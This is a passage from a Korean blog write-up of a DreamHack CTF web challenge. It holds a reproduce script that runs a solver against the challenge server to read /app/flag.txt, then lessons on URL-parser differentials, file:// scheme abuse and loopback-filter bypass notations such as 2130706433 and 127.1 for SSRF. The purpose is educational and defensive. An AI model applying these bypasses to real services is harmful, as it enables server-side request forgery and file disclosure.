#   ./reproduce.sh host3.dreamhack.games P  ๋ผ์ด๋ธŒ ๋ชจ๋“œ: ์ง„์งœ ๋ฌธ์ œ ์„œ๋ฒ„์—์„œ ์ง„์งœ flag ๋ฅผ ๋”ด๋‹ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
DUMMY='DH{dummy_local_flag_for_repro}'
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ œ.json'))['flag'])" 2>/dev/null || echo '')
 
if [ "$#" -ge 2 ]; then
  MODE="live"; HOST="$1"; PORT="$2"
else
  MODE="local"; HOST="127.0.0.1"; PORT="${PORT:-18777}"
  ./local_repro.sh >/dev/null 2>&1 || true
fi
 
OUT=$(timeout 120 python3 solve.py "$HOST" "$PORT" --path /app/flag.txt 2>&1) || true
echo "$OUT" | tail -8
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
 
if [ "$MODE" = "local" ]; then
  if [ "$FLAG" = "$DUMMY" ]; then
    echo; echo "โœ… PASS (๋กœ์ปฌ) ์ต์Šค ์ฒด์ธ ๋™์ž‘ ํ™•์ธ โ€” ์–ป์€ ๊ฐ’์€ ๋”๋ฏธ flag ๋‹ค: $FLAG"
    echo "   ์ง„์งœ flag ๋Š” ๋ผ์ด๋ธŒ ๋ชจ๋“œ๋กœ๋งŒ ๋‚˜์˜จ๋‹ค: ./reproduce.sh <host> <port>"
    exit 0
  fi
  echo; echo "โŒ FAIL (๋กœ์ปฌ) ๋”๋ฏธ flag ๊ฐ€ ์•ˆ ๋‚˜์™”๋‹ค (์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}')"; exit 1
fi
 
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "โœ… PASS (๋ผ์ด๋ธŒ)  $FLAG"; exit 0
fi
echo; echo "โŒ FAIL (๋ผ์ด๋ธŒ) ์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}' / ๊ธฐ๋Œ€: '${EXPECT:-๋ฌธ์ œ.json ์—†์Œ}'"; exit 1


๐Ÿ“ ๊ฒฐ๋ก 

๊ฒ€์‚ฌ๊ธฐ์™€ ์‹คํ–‰๊ธฐ๊ฐ€ ๊ฐ™์€ ๋ฌธ์ž์—ด์„ ๋‹ค๋ฅด๊ฒŒ ํŒŒ์‹ฑํ•˜๋ฉด ๊ทธ ์‚ฌ์ด๊ฐ€ ์ทจ์•ฝ์ ์ด๋‹ค.

์ด ๋ฌธ์ œ์˜ ํ•„ํ„ฐ๋Š” split ์„ธ ๋ฒˆ์œผ๋กœ ํ˜ธ์ŠคํŠธ๋ฅผ ๋ฝ‘๊ณ , urllib ์€ ์ •๊ทœ์‹๊ณผ ์ž์ฒด ๊ทœ์น™์œผ๋กœ ํ˜ธ์ŠคํŠธ๋ฅผ ๋ฝ‘๋Š”๋‹ค. ๋‘˜ ๋‹ค "ํ˜ธ์ŠคํŠธ๋ฅผ ๊ตฌํ•œ๋‹ค"๊ณ  ๋งํ•˜์ง€๋งŒ ๊ตฌํ˜„์ด ๋‹ค๋ฅด๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๋‘ ๊ฒฐ๊ณผ๊ฐ€ ์–ด๊ธ‹๋‚˜๋Š” ์ž…๋ ฅ์ด ๋ฐ˜๋“œ์‹œ ์กด์žฌํ•œ๋‹ค.

URL ์„ ๋‹ค๋ฃจ๋Š” ์ฝ”๋“œ์—์„œ ์ด ์–ด๊ธ‹๋‚จ์€ ํŠนํžˆ ์ž์ฃผ ๋‚˜์˜จ๋‹ค. @, #, ๋ฐฑ์Šฌ๋ž˜์‹œ, ์œ ๋‹ˆ์ฝ”๋“œ ์ •๊ทœํ™”, ๊ทธ๋ฆฌ๊ณ  ์—ฌ๊ธฐ์„œ ์“ด ๋นˆ authority ๊นŒ์ง€ โ€” ํŒŒ์„œ๋งˆ๋‹ค ํ•ด์„์ด ๊ฐˆ๋ฆฌ๋Š” ์ง€์ ์ด ํ•œ๋‘˜์ด ์•„๋‹ˆ๋‹ค. ์ง์ ‘ ๋ฌธ์ž์—ด์„ ์ชผ๊ฐœ ๊ฒ€์‚ฌํ•˜์ง€ ๋ง๊ณ , ์‹ค์ œ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ผ ๊ทธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ํŒŒ์„œ๋กœ ํŒŒ์‹ฑํ•œ ๊ฒฐ๊ณผ๋ฅผ ๊ฒ€์‚ฌํ•ด์•ผ ํ•œ๋‹ค. ํŒŒ์ด์ฌ์ด๋ฉด urllib.parse.urlsplit ์˜ hostname ์„ ์“ฐ๋Š” ์‹์ด๋‹ค.

์Šคํ‚ด ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๊ฐ€ ์—†์œผ๋ฉด ํ˜ธ์ŠคํŠธ ๊ฒ€์‚ฌ๋Š” ์˜๋ฏธ๊ฐ€ ์—†๋‹ค.

ํ˜ธ์ŠคํŠธ๋ฅผ ์•„๋ฌด๋ฆฌ ์ด˜์ด˜ํžˆ ๋ง‰์•„๋„ file:// ํ•œ ์ค„์ด๋ฉด ํ˜ธ์ŠคํŠธ ๊ฐœ๋… ์ž์ฒด๊ฐ€ ์šฐํšŒ๋œ๋‹ค. data:, ftp:, ํ™˜๊ฒฝ์— ๋”ฐ๋ผ์„œ๋Š” gopher: ๊นŒ์ง€ ์—ด๋ ค ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค. ์™ธ๋ถ€ URL ์„ ๋ฐ›์•„ ๋Œ€์‹  ์š”์ฒญํ•ด ์ฃผ๋Š” ๊ธฐ๋Šฅ์ด๋ผ๋ฉด ํ—ˆ์šฉํ•  ์Šคํ‚ด์„ ๋จผ์ € ๋ชป ๋ฐ•๋Š” ๊ฒŒ ์ˆœ์„œ๋‹ค. http/https ์™ธ์—๋Š” ํŒŒ์‹ฑ ๋‹จ๊ณ„์—์„œ ๊ฑฐ์ ˆํ•ด์•ผ ํ•œ๋‹ค.

except: ํ•œ ์ค„์ด ๋””๋ฒ„๊น…์„ ๋ง‰๊ณ , ๋ฐฉ์–ด๋„ ๋ง‰๋Š”๋‹ค.

์ด ์ฝ”๋“œ์˜ except: ๋Š” ํŒŒ์‹ฑ ์˜ค๋ฅ˜ยท๋„คํŠธ์›Œํฌ ์˜ค๋ฅ˜ยทํŒŒ์ผ ์—†์Œ์„ ์ „๋ถ€ error ๋กœ ๋ญ‰๊ฐฐ๋‹ค. ๊ณต๊ฒฉ์ž ์ž…์žฅ์—์„œ๋Š” ์˜คํžˆ๋ ค ์ •๋ณด๊ฐ€ ์ค„์–ด ํ—ท๊ฐˆ๋ฆฌ์ง€๋งŒ, ์šด์˜์ž ์ž…์žฅ์—์„œ๋Š” ๋ฌด์—‡์ด ์‹œ๋„๋๋Š”์ง€ ๋กœ๊ทธ๊ฐ€ ํ•˜๋‚˜๋„ ๋‚จ์ง€ ์•Š๋Š”๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” ๊ทธ๊ฒŒ ๋ฐฉ์–ด์˜ ๊ณต๋ฐฑ์ด๋‹ค. ์˜ˆ์™ธ๋Š” ์ข…๋ฅ˜๋ณ„๋กœ ์žก๊ณ , ์ตœ์†Œํ•œ ์„œ๋ฒ„ ์ชฝ์—๋Š” ๋‚จ๊ฒจ์•ผ ํ•œ๋‹ค.

IP ๋ฅผ ์  ํ‘œ๊ธฐ๋กœ๋งŒ ๋ง‰๋Š” ํ•„ํ„ฐ๋Š” ์–ธ์ œ๋‚˜ ๋šซ๋ฆฐ๋‹ค.

'.' in host ๋Š” 127.0.0.1 ์„ ๋ง‰์ง€๋งŒ 0, 127.1, 2130706433, [::1] ์€ ๊ทธ๋Œ€๋กœ ํ†ต๊ณผ์‹œํ‚จ๋‹ค. ์ด ๋ฌธ์ œ์—์„œ๋Š” ๋งˆ์นจ urllib ์˜ file:// ์ฒ˜๋ฆฌ๊ฐ€ ๋นˆ ํ˜ธ์ŠคํŠธ๋งŒ ๋ฐ›์•„ ์ค˜์„œ ๋‹ค๋ฅธ ํ‘œ๊ธฐ๊ฐ€ ์•ˆ ๋จนํ˜”์„ ๋ฟ์ด๊ณ , ๋Œ€์ƒ์ด HTTP ์˜€๋‹ค๋ฉด ์ •์ˆ˜ ํ‘œ๊ธฐ ํ•œ ๋ฐฉ์— SSRF ๊ฐ€ ์„ฑ๋ฆฝํ–ˆ์„ ๊ฒƒ์ด๋‹ค. ๋ฃจํ”„๋ฐฑ ์ฐจ๋‹จ์€ ๋ฌธ์ž์—ด์ด ์•„๋‹ˆ๋ผ ํ•ด์„๋œ ์ฃผ์†Œ๋กœ ํŒ๋‹จํ•ด์•ผ ํ•œ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 1] ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๋ฌธ์ž์—ด๊ณผ ํŒŒ์ผ์‹œ์Šคํ…œ์ด ๋ฐ›๋Š” ๋ฌธ์ž์—ด์€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack Dream Gallery ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๋ฌธ์ž์—ด๊ณผ ํŒŒ์ผ์‹œ์Šคํ…œ์ด ๋ฐ›๋Š” ๋ฌธ์ž์—ด์€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack Dream Gallery ํ’€์ด

URL์„ ๋ฐ›์•„ ์ด๋ฏธ์ง€๋ฅผ ๊ฐ€์ ธ์™€ ์ฃผ๋Š” ๊ฐค๋Ÿฌ๋ฆฌ. urlopen ์•ž์— ํ•„ํ„ฐ๊ฐ€ ์„ธ ๊ฒน ์žˆ๋Š”๋ฐ, file:// ์ ‘๋‘์–ด ๊ฒ€์‚ฌ๋Š” ์Šฌ๋ž˜์‹œ๋ฅผ ํ•˜๋‚˜ ์ค„์ด๋ฉด ๋น—๋‚˜๊ฐ€๊ณ  flag ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ๋Š” ํผ์„ผํŠธ์ธ์ฝ”๋”ฉ์œผ๋กœ ๋น—๋‚˜๊ฐ„๋‹ค. Flask๊ฐ€ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์„ ํ•œ ๋ฒˆ ํ’€๊ณ  url2pathname์ด ๋˜ ํ•œ ๋ฒˆ ํ’€๊ธฐ ๋•Œ๋ฌธ์—, ํ•„ํ„ฐ๊ฐ€ ๊ฒ€์‚ฌํ•˜๋Š” ๋ฌธ์ž์—ด๊ณผ open์— ๋„๋‹ฌํ•˜๋Š” ๊ฒฝ๋กœ๊ฐ€ ์• ์ดˆ์— ๊ฐ™์ง€ ์•Š๋‹ค.
#dreamhack#ctf#web+6
2026-07-30#dreamhack +6
[๐Ÿฅˆ Silver 3] ํƒญ ํ•œ ๊ธ€์ž๋กœ ์ง€์›Œ์ง„ admin ์„ ๋˜์‚ด๋ฆฐ๋‹ค โ€” DreamHack My Best Friend ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] ํƒญ ํ•œ ๊ธ€์ž๋กœ ์ง€์›Œ์ง„ admin ์„ ๋˜์‚ด๋ฆฐ๋‹ค โ€” DreamHack My Best Friend ํ’€์ด

์ธ์‚ฌ๋งŒ ๋Œ๋ ค์ฃผ๋Š” express ์„œ๋น„์Šค๊ฐ€ ๋‚ด๋ถ€ Private API ๋ฅผ SSRF ๋กœ ํ˜ธ์ถœํ•œ๋‹ค. admin ์ด๋ผ๋Š” ๋ฌธ์ž์—ด๊ณผ ํผ์„ผํŠธยท๋ฌผ์Œํ‘œยท์ƒต์„ ์ „๋ถ€ ๋ง‰์•„ ๋†จ์ง€๋งŒ, ๋‹จ์–ด ํ•œ๊ฐ€์šด๋ฐ์— ํƒญ ๋ฌธ์ž๋ฅผ ๋ผ์šฐ๋ฉด ํ•„ํ„ฐ๋Š” ๋‹ค๋ฅธ ๋‹จ์–ด๋กœ ๋ณด๊ณ  ํ†ต๊ณผ์‹œํ‚ค๊ณ  axios ๊ฐ€ URL ์„ ํŒŒ์‹ฑํ•˜๋Š” ์ˆœ๊ฐ„ ๊ทธ ํƒญ์ด ์‚ฌ๋ผ์ง€๋ฉด์„œ admin ์ด ๋˜์‚ด์•„๋‚œ๋‹ค. express ๊ธฐ๋ณธ ์ฟผ๋ฆฌ ํŒŒ์„œ๊ฐ€ ์ค‘๋ณต ํ‚ค๋ฅผ ๋ฐฐ์—ด๋กœ ๋ฌถ์–ด ์ฃผ๋Š” ์„ฑ์งˆ๊นŒ์ง€ ์–น์œผ๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋–จ์–ด์ง„๋‹ค.
#dreamhack#ctf#web+6
2026-08-15#dreamhack +5
[๐Ÿฅˆ Silver 1] ๊ฒ€์‚ฌํ•œ ํŒŒ์„œ์™€ ์ ‘์†ํ•œ ํŒŒ์„œ๊ฐ€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack weird legacy ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] ๊ฒ€์‚ฌํ•œ ํŒŒ์„œ์™€ ์ ‘์†ํ•œ ํŒŒ์„œ๊ฐ€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack weird legacy ํ’€์ด

URL ๊ฒ€์‚ฌ๋Š” WHATWG new URL() ๋กœ ํ•˜๊ณ  ์‹ค์ œ ์š”์ฒญ์€ node-fetch@2 ์˜ ๋ ˆ๊ฑฐ์‹œ url.parse() ๊ฐ€ ํ•œ๋‹ค. ๋‘ ํŒŒ์„œ๋Š” ํ˜ธ์ŠคํŠธ๋ช…์— ํ—ˆ์šฉํ•˜๋Š” ๊ธ€์ž๊ฐ€ ๋‹ฌ๋ผ์„œ, ํ˜ธ์ŠคํŠธ ๋’ค์— ๋А๋‚Œํ‘œ ํ•˜๋‚˜๋ฅผ ๋ถ™์ด๋ฉด ๊ฒ€์‚ฌ๋Š” localhost ๋กœ ์ฝ๊ณ  ์ ‘์†์€ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ๊ฐ„๋‹ค. FLAG ๊ฐ€ ๋‹ด๊ธด Cookie ํ—ค๋”๊ฐ€ ํ†ต์งธ๋กœ ๋”ฐ๋ผ์˜จ๋‹ค.
#dreamhack#ctf#web+6
2026-08-07#dreamhack +5